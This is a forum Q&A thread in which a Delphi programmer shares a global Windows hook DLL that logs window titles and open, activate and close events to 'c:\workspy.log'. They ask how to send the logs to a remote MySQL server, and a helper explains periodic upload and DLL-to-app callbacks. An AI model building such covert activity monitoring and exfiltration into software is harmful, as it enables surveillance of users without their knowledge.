?
Solved

SetHook...

Posted on 2003-11-30
14
Medium Priority
?
401 Views
Last Modified: 2010-04-05
I have dll librare which are hooking windows processies and save all data in file

How i can create that this data will send to mysql server in Internet ??? What component I must use ? Please, give some examples of connecting to database and giving to sql some query... It is imposible in dll file???


This is dll librare code:
library dll;

uses
  Windows,SySUtils,Messages,_libmysq,Dialogs;


var

 SysHook : HHook = 0;
 flag : boolean = true;
 Password : word = 0;
 Wnd : Hwnd = 0;
 
 
procedure SaveData(Str:string);
var
 f: TextFile;
 Filedir:string;
 windir: array [0..255] of char;
begin


   Filedir:='c:\workspy.log';

   AssignFile(f, Filedir);
    if not FileExists(Filedir) then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
   Writeln(f, Str);

 Flush(f);
 CloseFile(F);
end;


function SysMsgProc(code : integer; wParam : word; lParam : longint) : longint; export; stdcall;
var
 windtext, windir: array [0..255] of char;
 str:String;
begin
 Result := CallNextHookEx(SysHook, Code, wParam, lParam);
 case code of
  HCBT_ACTIVATE:
   begin

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);
    Str:=windtext;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+Str+ '+++'+'@@@'+IntToStr(Wnd));


   end;

  HCBT_CREATEWND:
   begin
    Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
    if Str='' then exit;
    if TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent<>0 then exit;

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###OPEN==='+windtext+ '+++'+TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+'@@@'+IntToStr(Wnd));

   end;

  HCBT_DESTROYWND:
   begin
    Str:='';
    Wnd := wParam;
    if Wnd<>0 then
     GetWindowText(Wnd, windtext, 255);
    str:=windtext;
    if windtext='' then exit;
    if Str='' then exit;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###CLOSE==='+Str+'+++'+'@@@'+IntToStr(Wnd));

  end;
 end;
end;

function SetHook(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if SysHook = 0
      then
        SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC}, @SysMsgProc, HInstance, 0);
      Result := (SysHook <> 0);
    end
  else
    begin
      if SysHook <> 0
      then
        begin
          UnhookWindowsHookEx(SysHook);
          SysHook := 0;
          Result := true;
        end;
    end;
end;

exports
  SETHOOK index 1;

begin

end.
0
Comment
Question by:progdelphi
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
  • 8
  • 3
14 Comments
 
LVL 5

Accepted Solution

by:
snehanshu earned 500 total points
ID: 9849594
progdelphi,
>>It is imposible in dll file???
Well, IMHO, you should immediately end any hook code and not keep it waiting for long (Updating databases may take quite some time).
So, my suggestion would be that you log all your entries in a file as you are doing now (or perhaps better still, save them in a TStringList and save the stringlist to a file on say every 100th entry to reduce overheads).
Then, from the application that uses the DLL, call a procedure periodically to read the log file and transfer its contents to the server.
And, here's a thread that explains connecting to MYSQL.
http://www.experts-exchange.com/Programming/Programming_Languages/Delphi/Q_10153952.html
I haven't used MYSQL, so I can only hope that the threrad is useful to you.

Good luck,
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850456
if i have other delphi application wich load this dll, how i can send wariable Str (procedure SaveData(Str:string);) to application, which load this dll ???
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850611
Two things:
1) To send a string to the DLL, I think you could just add
Exports
  SaveData name 'SAVEDATA';
in the DLL
and
To call this function, add
  Procedure SAVEDATA(Str:string); External 'DLL.DLL';//or whatever is the name of your dll

in your code.

2) But, I don't think you need to call this function from the application. Your code is fine. Just that your application needs to read 'c:\workspy.log' file periodically and post its contents to the database.

HTH,
...Shu
0
Industry Leaders: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 

Expert Comment

by:mumuska
ID: 9850647
i don't want juse files, because somebody cant change them :(

maybe when application starts, it connect on server, and after it change procedure SaveData();, which will juse acctive connection and send data

it is one problem, if cennection starts in main programm how i can create in dll oter procedure which send data using activated connection

for example in main programm :
    mysql_connect(@mysqlrec, PChar('123.123.123.123'), PChar('hook'), PChar('password'));
     if mysqlrec._net.last_errno = 0 then
     begin
          ShowMessage ('Successfully connected to server');
          connected:= 1; // keep track of connection

          retval:= mysql_select_db(@mysqlrec, PChar('reitings_workspy'));
          if retval <> 0 then
             ShowMessage('Error attaching to')
     end
     else
         ShowMessage (Trim(mysqlrec._net.last_error));


how i can create in dll procedure wich run:
             query:='INSERT INTO `soft` ( `ID` , `name` )VALUES ('''', ''buil bul'')';
             mysql_query(@mysqlrec, PChar(query)); //Send Query to server
               presults:= mysql_store_result(@mysqlrec); //Store results locally
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850702
mumuska,
  Like I said eralier, if the link I posted earlier doesn't help, then I don't know much.
  Are you and progdelphi the same person?
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850754
To send a string to the DLL ???
I want send a string from DLL to program


ONE BIG PROBLEM. I wanted to unite dll with programm, I copy all functions from dll to program but when i start hooking the windows (explorer) go wrong. My proogramm runs normaly, byt explorer go down :( WHY ???

In programm:
procedure SaveData(Str:string);
var
 f: TextFile;
 Filedir:string;
begin
   Filedir:='c:\workspy.log';

   AssignFile(f, Filedir);
    if not FileExists(Filedir) then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
   Writeln(f, Str);

 Flush(f);
 CloseFile(F);
end;


function SysMsgProc(code : integer; wParam : word; lParam : longint) : longint;
var
 windtext, windir: array [0..255] of char;
 str:String;
begin
 Result := CallNextHookEx(SysHook, Code, wParam, lParam);
 case code of
  HCBT_ACTIVATE:
   begin

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);
    Str:=windtext;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+Str+ '+++'+'@@@'+IntToStr(Wnd));


   end;

  HCBT_CREATEWND:
   begin
    Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
    if Str='' then exit;
    if TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent<>0 then exit;

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###OPEN==='+windtext+ '+++'+TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+'@@@'+IntToStr(Wnd));

   end;

  HCBT_DESTROYWND:
   begin
    Str:='';
    Wnd := wParam;
    if Wnd<>0 then
     GetWindowText(Wnd, windtext, 255);
    str:=windtext;
    if windtext='' then exit;
    if Str='' then exit;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###CLOSE==='+Str+'+++'+'@@@'+IntToStr(Wnd));

  end;
 end;
end;

function SetHook(Hook : Boolean) : Boolean;
begin
  Result := false;
  if Hook
  then
    begin
      if SysHook = 0
      then
        SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC}, @SysMsgProc, HInstance, 0);
      Result := (SysHook <> 0);
    end
  else
    begin
      if SysHook <> 0
      then
        begin
          UnhookWindowsHookEx(SysHook);
          SysHook := 0;
          Result := true;
        end;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SetHook(true);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SetHook(false);
end;

P.S.mumuska and I are the same person
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850761
OK, well, here's a try after re-reading.
  whatever type mysql_query is, declare it in the DLL.
  Then have a function which returns mysql_query from the DLL.
  Like in DLL,
  Function GetSQL:TMySQLType;
  begin
    result := mysql_query;
  end;
...
 exports GetSQL;

And in the application, call GetSQL like:
  mysql_query := GetSQL;
  before initializing.
  This way, the DLL would have an active connection you can use in SaveData.
  Does it help?
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850786
thx... i will test it...

and last question, it is imposible to call function in application from dll ??? how ? please, one simple exapmple to understand how it works...

and why it srach if i unite dll with application (it crach on starting hook)
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9851014
progdelphi,
  I am not in the best of moods right now (and perhaps I don't ecactly "know" the answers to what you have just asked, so I'll have to research). Please excuse me till tomorrow. Sorry,
...Shu
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9855961
progdelphi,
  I haven't bothered to create a DLL and test this, but hopefully, this approach should work for calling an application's function/procedure from a DLL.
1)  Essentially, you create a variable of type procedure... in the DLL.
2)  Then, you export a function from the DLL which accepts a function pointer as parameter, and sets the variable's address created in step 1 to the parameter passed.
3) Then, whenever you need, you can call the App's function using the variable mentioned in step 1.

Below is the code for doing all this from the same APP. I have commented what part could go to the DLL.
I haven't tried it before, but I think it should work. So, let me know what you could achieve.
Good luck,
...Shu



unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TMyAppProc = procedure(myStr:String);
  TMyAppProcPtr = ^TMyAppProc;//Function pointer
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

//This can be an exported function of the DLL:
    Procedure SetProcVal(AppProc: TMyAppProcPtr);

  private
    { Private declarations }
  public
    { Public declarations }
  end;



var
  Form1: TForm1;
  MyProcVar: procedure(myStr:String);//This can be a variable in the DLL


implementation

{$R *.dfm}

{ TForm1 }

procedure MyAppProcDef(myStr: String);
begin
//this is the procedure in the Application
  ShowMessage(MyStr);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//Set the DLL's function pointer to point to the APP's procedure
  SetProcVal(@MyAppProcDef);
//  @MyProcVar :=  @MyAppProcDef;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
//This code can be used in the DLL to call the App's function
    If @MyProcVar <> nil then//Check if it is assigned
      MyProcVar('Hello');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//Initialize the variable in DLL
  @MyProcVar := nil;
end;

procedure TForm1.SetProcVal(AppProc: TMyAppProcPtr);
begin
//This can be an exported function of the DLL
//It accepts the App's function pointer and saves it for the DLL's variable
  @MyProcVar := AppProc;
end;

end.
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9856215
>>and why it srach if i unite dll with application (it crach on starting hook)
Well, I am also a hooks beginer, but what I think is that the hook procedure should be accessible to other processes and hence it needs to be in a DLL.
...Shu
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9856245
OK, here's an extract from help files:
A hook procedure can be global, monitoring messages for all threads in the system, or it can be thread specific, monitoring messages for only an individual thread. A global hook procedure can be called in the context of any application, so the procedure must be in a separate dynamic-link library (DLL) module. A thread specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries.
0

Featured Post

On Demand Webinar: Networking for the Cloud Era

Did you know SD-WANs can improve network connectivity? Check out this webinar to learn how an SD-WAN simplified, one-click tool can help you migrate and manage data in the cloud.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

This article explains how to create forms/units independent of other forms/units object names in a delphi project. Have you ever created a form for user input in a Delphi project and then had the need to have that same form in a other Delphi proj…
In my programming career I have only very rarely run into situations where operator overloading would be of any use in my work.  Normally those situations involved math with either overly large numbers (hundreds of thousands of digits or accuracy re…
Michael from AdRem Software outlines event notifications and Automatic Corrective Actions in network monitoring. Automatic Corrective Actions are scripts, which can automatically run upon discovery of a certain undesirable condition in your network.…
If you’ve ever visited a web page and noticed a cool font that you really liked the look of, but couldn’t figure out which font it was so that you could use it for your own work, then this video is for you! In this Micro Tutorial, you'll learn yo…
Suggested Courses

770 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question